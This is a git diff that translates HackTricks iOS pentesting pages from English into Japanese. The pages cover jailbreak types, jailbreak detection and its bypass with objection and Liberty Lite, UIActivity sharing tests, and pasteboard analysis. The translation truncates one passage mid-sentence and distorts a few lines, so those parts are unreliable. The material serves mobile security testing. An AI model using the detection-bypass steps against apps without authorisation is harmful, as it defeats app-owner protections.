the device is connected to a computer during reboot. The device can also boot into non-jailbroken mode on its own. -* **Semi-untethered jailbreaks** allow the device to boot on its own, but the kernel patches (or user-land modifications) for disabling code signing aren't applied automatically. The user must re-jailbreak the device by starting an app or visiting a website (not requiring a connection to a computer, hence the term untethered). -* **Untethered jailbreaks** are the most popular choice for end users because they need to be applied only once, after which the device will be permanently jailbroken. +* **テザリングジェイルブレイク**は、再起動時に持続しないため、ジェイルブレイクを再適用するにはデバイスをコンピュータに接続する(テザリング)必要があります。コンピュータが接続されていない場合、デバイスは再起動しない場合があります。 +* **セミテザリングジェイルブレイク**は、再起動時にデバイスがコンピュータに接続されていない限り、再適用することはできません。デバイスは自分自身で非ジェイルブレイクモードで起動することもできます。 +* **セミアンテザリングジェイルブレイク**は、デバイスが自動的に起動できますが、コード署名の無効化のためのカーネルパッチ(またはユーザーランドの変更)は自動的に適用されません。ユーザーは、アプリを起動したり、ウェブサイトを訪れたりすることでデバイスを再ジェイルブレイクする必要があります(コンピュータへの接続は必要ありません)。 +* **アンテザリングジェイルブレイク**は、一度だけ適用する必要があるため、エンドユーザーの最も人気のある選択肢です。その後、デバイスは永久にジェイルブレイクされた状態になります。 -## Jailbreaking Tools +## ジェイルブレイクツール -Different iOS versions require **different jailbreaking techniques**. [Determine whether a public jailbreak is available for your version of iOS](https://canijailbreak.com). Beware of fake tools and spyware, which are often hiding behind domain names that are similar to the name of the jailbreaking group/author. +異なるiOSバージョンには、**異なるジェイルブレイク手法**が必要です。[iOSのバージョンに公開されているジェイルブレイクがあるかどうかを判断](https://canijailbreak.com)してください。ジェイルブレイクグループ/作者の名前と似たドメイン名の背後に隠れている偽のツールやスパイウェアに注意してください。 -The iOS jailbreak scene evolves so rapidly that providing up-to-date instructions is difficult. However, we can point you to some sources that are currently reliable. - -* [**Can I Jailbreak?**](https://canijailbreak.com) -* [**The iPhone Wiki**](https://www.theiphonewiki.com) -* [**Redmond Pie**](https://www.redmondpie.com) -* [**Reddit Jailbreak**](https://www.reddit.com/r/jailbreak/) -* [**https://checkra.in/**](https://checkra.in) - -> Note that any modification you make to your device is at your own risk. While jailbreaking is typically safe, things can go wrong and you may end up bricking your device. No other party except yourself can be held accountable for any damage. - -## Benefits - -The most important side effect of Jailbreaking is that it **removes any sandboxing put in place by the OS**. Therefore, any **app on the device can read any file** on the filesystem, including other apps files, cookies and keychain. - -A jailbroken device allows users to **install unapproved apps** and leverage **more APIs**, which otherwise aren't accessible. - -{% hint style="warning" %} -**It's not recommended to jailbreak the mobile for regular users** -{% endhint %} - -## **After Jailbreaking** +iOSのジェイルブレイクシーンは非常に急速に進化して +## **Jailbreakingの後** {% content-ref url="basic-ios-testing-operations.md" %} [basic-ios-testing-operations.md](basic-ios-testing-operations.md) {% endcontent-ref %} -## **Jailbreak Detection** +## **Jailbreakの検出** -**Several applications will try to detect if the mobile is jailbroken and in that case the application won't run** +**いくつかのアプリケーションは、モバイルがjailbrokenされているかどうかを検出し、その場合はアプリケーションを実行しないようにします** -* After jailbreaking an iOS **files and folders are usually installed**, these can be searched to determine if the device is jailbroken. -* In a jailbroken device applications get **read/write access to new files** outside the sandbox -* Some **API** **calls** will **behave differently** -* The presence of the **OpenSSH** service -* Calling `/bin/sh` will **return 1** instead of 0 +* iOSをjailbreakすると、通常は**ファイルとフォルダがインストール**されます。これらを検索してデバイスがjailbrokenであるかどうかを判断することができます。 +* jailbrokenデバイスでは、アプリケーションはサンドボックスの外に**新しいファイルへの読み書きアクセス**を取得します。 +* 一部の**API呼び出し**は**異なる動作**を示す場合があります。 +* **OpenSSH**サービスの存在 +* `/bin/sh`を呼び出すと、0ではなく1が**返されます** -**More information about how to detect jailbreaking** [**here**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.** +**Jailbreakingの検出方法の詳細は[こちら](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)を参照してください。** -You can try to avoid this detections using **objection's** `ios jailbreak disable` +`objection`の`ios jailbreak disable`を使用して、この検出を回避することもできます。 # **Jailbreak Detection Bypass** -* You can try to avoid this detections using **objection's** `ios jailbreak disable` -* You could also install the tool **Liberty Lite** (https://ryleyangus.com/repo/). Once the repo is added, the app should appear in the ‘Search’ tab +`objection`の`ios jailbreak disable`を使用して、この検出を回避することもできます。 + +また、ツール**Liberty Lite**(https://ryleyangus.com/repo/)をインストールすることもできます。リポジトリが追加されると、アプリが「検索」タブに表示されるはずです。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンやHackTricksのPDFをダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!** -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
- - diff --git a/mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.md b/mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.md index 0f87e806d..fe2e5f226 100644 --- a/mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.md +++ b/mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.md @@ -1,105 +1,87 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
# UIActivity Sharing -Starting on iOS 6 it is possible for third-party apps to **share data (items)** via specific mechanisms [like AirDrop, for example](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple\_ref/doc/uid/TP40007072-CH6-SW3). From a user perspective, this feature is the well-known system-wide _share activity sheet_ that appears after clicking on the "Share" button. +iOS 6以降、サードパーティのアプリは特定のメカニズム(例:AirDrop)を介してデータ(アイテム)を**共有**することができます。ユーザーの視点からは、「共有」ボタンをクリックした後に表示される、よく知られたシステム全体の「共有アクティビティシート」としてこの機能が現れます。 -A full list of the available built-in sharing mechanisms can be found in [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). If not considered appropriate for the app, the d**evelopers have the possibility to exclude some of these sharing mechanisms**. +利用可能な組み込みの共有メカニズムの完全なリストは、[UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype)で見つけることができます。アプリに適切でないと考えられない場合、**開発者はこれらの共有メカニズムのいくつかを除外することができます**。 -## **Sending Items** +## **アイテムの送信** -When testing `UIActivity` Sharing you should pay special attention to: +`UIActivity`共有をテストする際には、次の点に特に注意する必要があります。 -* the data (items) being shared, -* the custom activities, -* the excluded activity types. +* 共有されるデータ(アイテム) +* カスタムアクティビティ +* 除外されたアクティビティタイプ -Data sharing via `UIActivity` works by creating a `UIActivityViewController` and passing it the desired items (URLs, text, a picture) on [`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init). +`UIActivity`を介したデータの共有は、`UIActivityViewController`を作成し、[`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init)に望ましいアイテム(URL、テキスト、画像)を渡すことで機能します。 -If having the source code, you should take a look at the `UIActivityViewController`: +ソースコードがある場合は、`UIActivityViewController`を確認してください。 -* Inspect the activities passed to the `init(activityItems:applicationActivities:)` method. -* Check if it defines custom activities (also being passed to the previous method). -* Verify the `excludedActivityTypes`, if any. - -If you only have the compiled/installed app, try searching for the previous method and property, for example: +* `init(activityItems:applicationActivities:)`メソッドに渡されるアクティビティを調べます。 +* カスタムアクティビティが定義されているかどうかを確認します(前のメソッドにも渡されます)。 +* `excludedActivityTypes`があるかどうかを確認します。 +コンパイル/インストールされたアプリしか持っていない場合は、前述のメソッドやプロパティを検索してみてください。例: ```bash $ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems 0x1000df034 45 44 initWithActivityItems:applicationActivities: ``` +## **アイテムの受信** -## **Receiving Items** +アイテムを受信する際には、以下の点を確認する必要があります: -When receiving items, you should check: +* アプリが**カスタムドキュメントタイプ**を宣言しているかどうかを、Xcodeプロジェクトの「情報」タブから**エクスポート/インポートUTI**(Uniform Type Identifiers)を調べることで確認します。すべてのシステムで宣言されたUTIのリストは、[Apple Developer Documentationのアーカイブ](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/UTIRef/Articles/System-DeclaredUniformTypeIdentifiers.html#//apple\_ref/doc/uid/TP40009259)で見つけることができます。 +* アプリが開くことができる**ドキュメントタイプ**を指定しているかどうかを、Xcodeプロジェクトの「情報」タブの**ドキュメントタイプ**を調べることで確認します。存在する場合、名前とデータタイプを表す1つ以上のUTI(例:PNGファイルの場合は「public.png」)で構成されています。iOSはこれを使用して、アプリが特定のドキュメントを開くことができるかどうかを判断します(エクスポート/インポートUTIを指定するだけでは不十分です)。 +* アプリが受信したデータを適切に**検証**しているかどうかを、アプリデリゲートの[`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc)(またはその非推奨バージョンである[`UIApplicationDelegate application:openURL:sourceApplication:annotation:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623073-application?language=objc))の実装を調べることで確認します。 -* if the app **declares **_**custom document types**_** ** by looking into **Exported/Imported UTIs** ("Info" tab of the Xcode project). The list of all system declared UTIs (Uniform Type Identifiers) can be found in the [archived Apple Developer Documentation](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/UTIRef/Articles/System-DeclaredUniformTypeIdentifiers.html#//apple\_ref/doc/uid/TP40009259). -* if the app specifies any _**document types that it can open**_ by looking into **Document Types** ("Info" tab of the Xcode project). If present, they consist of name and one or more UTIs that represent the data type (e.g. "public.png" for PNG files). iOS uses this to determine if the app is eligible to open a given document (specifying Exported/Imported UTIs is not enough). -* if the app properly _**verifies the received data**_ by looking into the implementation of [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc) (or its deprecated version [`UIApplicationDelegate application:openURL:sourceApplication:annotation:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623073-application?language=objc)) in the app delegate. +ソースコードを持っていない場合は、`Info.plist`ファイルを確認し、次の項目を検索します: -If not having the source code you can still take a look into the `Info.plist` file and search for: +* アプリがエクスポート/インポートする**カスタムドキュメントタイプ**を宣言している場合は、`UTExportedTypeDeclarations`/`UTImportedTypeDeclarations`を確認します。 +* アプリが開くことができる**ドキュメントタイプ**を指定している場合は、`CFBundleDocumentTypes`を確認します。 -* `UTExportedTypeDeclarations`/`UTImportedTypeDeclarations` if the app declares exported/imported _custom document types_. -* `CFBundleDocumentTypes` to see if the app specifies any _document types that it can open_. +これらのキーの使用方法については、[Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i)で非常に詳細な説明がありますが、以下に要約を示します: -A very complete explanation about the use of these keys can be found [on Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i) but here you have a summary: +* `UTExportedTypeDeclarations`:システムにインストールされたシステムにアプリが教えたい**独自のUTI**を定義するために使用します。**UTIはデータの一部**(必ずしもファイル内にあるデータではありません!)を説明し、少なくとも**識別子**(`com.example.MyCoolDataType`)が必要です。さらに、**名前**(`My Cool Data Type`)、1つ以上のファイル名**拡張子**(`.myCoolDataType`)、1つ以上の**MIME** **タイプ**(`x-application/my-cool-data-type`)、1つ以上の**ペーストボード** **タイプ**(その種類のデータをコピー&貼り付けで転送する際に使用)および1つ以上の**レガシーOSタイプ**を持つ場合もあります。通常、既存のUTIに準拠するようにUTIを設定することも望ましいです(たとえば、UTIが`public.data`に準拠すると宣言すると、一般的なデータを扱えるプロセスはUTIも扱えるようになります)。 +* 例:独自のプロプライエタリファイルデータ形式を定義し、このデータ形式が他のアプリ、プラグイン、拡張機能などにも知られるようにしたい場合。 +* `UTImportedTypeDeclarations`:`UTImportedTypeDeclarations`を使用して、システムに既知になってほしいが、自分のUTIではないUTIについてシステムに教えます。 +* 例:アプリが他のアプリのプロプライエタリデータ形式を読み取ることができるが、そのアプリがシステムにインストールされているかどうかさえわからない場合。 +* `CFBundleDocumentTypes`:`CFBundleDocumentTypes`を使用して、アプリが開くことができるドキュメントタイプをシステムに伝えます。**また、ここにUTIをリストアップしない限り**、これらのUTIはFinderでアプリと関連付けられず、アプリは「開く >」メニューに表示されません。\ +ドキュメントタイプには常に**役割**を設定する必要があります。**役割**は「**Viewer**」(そのファイルタイプを表示できますが、編集はできません)、**Editor**(そのファイルタイプを表示および編集できます)、**None**(そのファイルに対して何をするかが指定されていない)のいずれかです。 +* 例:特定のファイルタイプ(拡張子、MIMEタイプ、またはUTI識別子で識別される)とアプリを関連付けたい場合。**アプリをUTIタイプに関連付けたい場合、アプリはそのタイプをインポートまたはエクスポートする必要があります**。そうしないと、システムにそのタイプが知られていないため、未知のUTIタイプに登録しても何の効果もありません。 -* `UTExportedTypeDeclarations`: Use them to define **your own UTIs** that your app wants to teach the system it is installed on. An **UTI describes a piece of data** (_not necessarily data located inside a file!_) and requires at least an **identifier** (`com.example.MyCoolDataType`). Additionally it may have a **name** (`My Cool Data Type`), one or more file name **extensions** (`.myCoolDataType`), one or more **MIME** **types** (`x-application/my-cool-data-type`), one or more **pasteboard** **types** (used when transferring data of that kind using copy\&paste), and one or more **legacy OS type**. Usually you also want UTIs to conform to existing UTIs (E.g. when you say your UTI conforms to `public.data`, any process that can deal with generic data can also deal with your UTI). - * e.g.: You define your own proprietary file data format and you want this data format to be also known to other apps, plugins, extensions, and so on. -* `UTImportedTypeDeclarations`: You use `UTImportedTypeDeclarations` do **teach the system about UTIs that you want to be known in the system but that are not your UTIs**. - * e.g.: Your app is able to read the proprietary data format of another application, yet you don't know if that application is even installed on the system. -* `CFBundleDocumentTypes`: You use `CFBundleDocumentTypes` to tell the system which Document types your app is able to open. Unless you **also list your UTIs here**, these UTIs are not associated with your app in Finder and your app won't appear in the `Open With >` menu. \ - The only thing you always must set for a document type is the role. The **role** can be "**Viewer**" (you can display that file type but you cannot edit it), "**Editor**" (you can display and edit that file type), "**None**" (it's not specified what you can do with that file). - * e.g.: You want your **app do be associated with certain file types**, identified either by extension, by MIME type, or by UTI identifier. **If you want your app to be associated with an UTI type, the app should either import or export the type**, as otherwise the type may not be known to the system and registering to unknown UTI type has simply no effect at all. +## 動的テスト -## Dynamic Testing +**アクティビティの送信**については、次のことができます: -For **sending activities** you can: +* 静的解析で見たメソッド([`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init))をフックして、`activityItems`と`applicationActivities`を取得します。 +* フックして除外されるアクティビティを特定するために、[`excludedActivityTypes`プロパティ](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622009-excludedactivitytypes)をフックします。 -* Hook the method we have seen in the static analysis ([`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init)) to get the `activityItems` and `applicationActivities`. -* Find out the excluded activities by hooking [`excludedActivityTypes` property](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622009-excludedactivitytypes). +アイテムの受信については、次のことができます: -For receiving items you can: +* 別のアプリからアプリにファイルを**共有**したり、AirDropやメールで送信したりします。ファイルを選択して、「開く...」ダイアログが表示されるようにします(つまり、ファイルを開くためのデフォルトのアプリがない場合、例えばPDFの場合)。 +* `application:openURL:options:`や以前の静的解析で特定された他のメソッドをフックします。 +* アプリの動作を観察します。 +* さらに、特定の不正なファイルを送信したり、ファジング技術を使用したりすることができます。 -* _Share_ a file with the app from another app or send it via AirDrop or e-mail. Choose the file so that it will trigger the "Open with..." dialogue (that is, there is no default app that will open the file, a PDF for example). -* Hook `application:openURL:options:` and any other methods that were identified in a previous static analysis. -* Observe the app behavior. -* In addition, you could send specific malformed files and/or use a fuzzing technique. - -**Read how** [**here**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#dynamic-analysis-8)**.** +詳細は[こちら](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#dynamic-analysis-8)を参照してください。
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。 -The [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) enables sharing data within an app, and from an app to other apps. There are two kinds of pasteboards: +[`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard)は、アプリ内および他のアプリ間でデータを共有するために使用されます。2種類のペーストボードがあります。 -* **systemwide general pasteboard**: for sharing data with **any app**. Persistent by default across device restarts and app uninstalls (since iOS 10). -* **custom / named pasteboards**: for sharing data **with another app** (having the same team ID as the app to share from) or with the **app itself** (they are only available in the process that creates them). Non-persistent by default (since iOS 10), that is, they exist only until the owning (creating) app quits. +* **システム全体の一般的なペーストボード**:**任意のアプリ**とデータを共有するためのものです。iOS 10以降、デバイスの再起動やアプリのアンインストールに関係なく、デフォルトで永続的です。 +* **カスタム/名前付きペーストボード**:**別のアプリ**(共有元のアプリと同じチームIDを持つ)または**アプリ自体**とデータを共有するためのものです(作成したプロセス内でのみ利用可能です)。iOS 10以降、デフォルトでは非永続的です。つまり、所有(作成)アプリが終了するまで存在します。 -Some security considerations: +いくつかのセキュリティ上の考慮事項: -* Users **cannot grant or deny permission** for apps to read the **pasteboard**. -* Since iOS 9, apps [cannot access the pasteboard while in background](https://forums.developer.apple.com/thread/13760), this mitigates background pasteboard monitoring. -* [Apple warns about persistent named pasteboards](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc) and **discourages their use**. Instead, shared containers should be used. -* Starting in iOS 10 there is a new Handoff feature called **Universal Clipboard** that is enabled by default. It allows the **general pasteboard contents to automatically transfer between devices**. This feature can be disabled if the developer chooses to do so and it is also possible to set an expiration time and date for copied data. +* ユーザーはアプリが**ペーストボードを読み取る許可を付与または拒否することはできません**。 +* iOS 9以降、アプリは[バックグラウンドでのペーストボードのアクセスを制限されています](https://forums.developer.apple.com/thread/13760)。これにより、バックグラウンドでのペーストボードの監視が緩和されます。 +* [Appleは永続的な名前付きペーストボードについて警告しており](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc)、その使用を**推奨していません**。代わりに、共有コンテナを使用する必要があります。 +* iOS 10以降、デフォルトで有効になっている**ハンドオフ機能の一部であるUniversal Clipboard**があります。これにより、**一般的なペーストボードの内容が自動的にデバイス間で転送**されます。開発者が選択すれば、この機能を無効にすることも可能で、コピーされたデータの有効期限を設定することもできます。 -Then, it's important to **check that sensitive information isn't being saved inside the global pasteboard**.\ -It's also important to check that an **application isn't using the global pasteboard data to perform actions**, as malicious application could tamper this data. +したがって、**機密情報がグローバルペーストボードに保存されていないかを確認することが重要**です。\ +また、**アプリケーションがグローバルペーストボードのデータを使用してアクションを実行していないかを確認することも重要**です。悪意のあるアプリケーションがこのデータを改ざんする可能性があります。 -An **application can also prevent its users to copy sensitive data to the clipboard** (which is recommended). +**アプリケーションは、ユーザーがクリップボードに機密データをコピーするのを防ぐ**こともできます(推奨されています)。 -## Static Analysis +## 静的解析 -The **systemwide general pasteboard** can be obtained by using [`generalPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard/1622106-generalpasteboard?language=objc), search the source code or the compiled binary for this method. Using the systemwide general pasteboard should be avoided when dealing with sensitive data. +**システム全体の一般的なペーストボード**は、[`generalPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard/1622106-generalpasteboard?language=objc)を使用して取得できます。このメソッドをソースコードまたはコンパイルされたバイナリで検索してください。機密データを扱う場合は、システム全体の一般的なペーストボードの使用は避けるべきです。 -**Custom pasteboards** can be created with [`pasteboardWithName:create:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622074-pasteboardwithname?language=objc) or [`pasteboardWithUniqueName`](https://developer.apple.com/documentation/uikit/uipasteboard/1622087-pasteboardwithuniquename?language=objc). Verify if custom pasteboards are set to be persistent as this is deprecated since iOS 10. A shared container should be used instead. +**カスタムペーストボード**は、[`pasteboardWithName:create:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622074-pasteboardwithname?language=objc)または[`pasteboardWithUniqueName`](https://developer.apple.com/documentation/uikit/uipasteboard/1622087-pasteboardwithuniquename?language=objc)を使用して作成できます。カスタムペーストボードが永続的に設定されているかどうかを確認してください。iOS 10以降、これは非推奨となっています。代わりに共有コンテナを使用する必要があります。 -## Dynamic analysis +## 動的解析 -Hook or trace the following: +以下のメソッドをフックまたはトレースしてください: -* `generalPasteboard` for the system-wide general pasteboard. -* `pasteboardWithName:create:` and `pasteboardWithUniqueName` for custom pasteboards. +* システム全体の一般的なペーストボードの場合は`generalPasteboard`。 +* カスタムペーストボードの場合は`pasteboardWithName:create:`および`pasteboardWithUniqueName`。 -You can also Hook or trace the deprecated [`setPersistent:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622096-setpersistent?language=objc) method and verify if it's being called. +また、非推奨の[`setPersistent:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622096-setpersistent?language=objc)メソッドをフックまたはトレースし、呼び出されているかどうかを確認してください。 -When **monitoring** the **pasteboards**, there is several **details** that may be dynamically **retrieved**: - -* Obtain **pasteboard name** by hooking `pasteboardWithName:create:` and inspecting its input parameters or `pasteboardWithUniqueName` and inspecting its return value. -* Get the **first available pasteboard item**: e.g. for strings use `string` method. Or use any of the other methods for the [standard data types](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#1654275). -* Get the **number of items** with `numberOfItems`. -* Check for **existence of standard data types** with the [convenience methods](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#2107142), e.g. `hasImages`, `hasStrings`, `hasURLs` (starting in iOS 10). -* Check for **other data types** (typically UTIs) with [`containsPasteboardTypes:inItemSet:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622100-containspasteboardtypes?language=objc). You may inspect for more concrete data types like, for example an picture as public.png and public.tiff ([UTIs](http://web.archive.org/web/20190616231857/https://developer.apple.com/documentation/mobilecoreservices/uttype)) or for custom data such as com.mycompany.myapp.mytype. Remember that, in this case, only those apps that _declare knowledge_ of the type are able to understand the data written to the pasteboard. Retrieve them using [`itemSetWithPasteboardTypes:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622071-itemsetwithpasteboardtypes?language=objc) and setting the corresponding UTIs. -* Check for excluded or expiring items by hooking `setItems:options:` and inspecting its options for `UIPasteboardOptionLocalOnly` or `UIPasteboardOptionExpirationDate`. - -If only looking for strings you may want to use **objection's** command `ios pasteboard 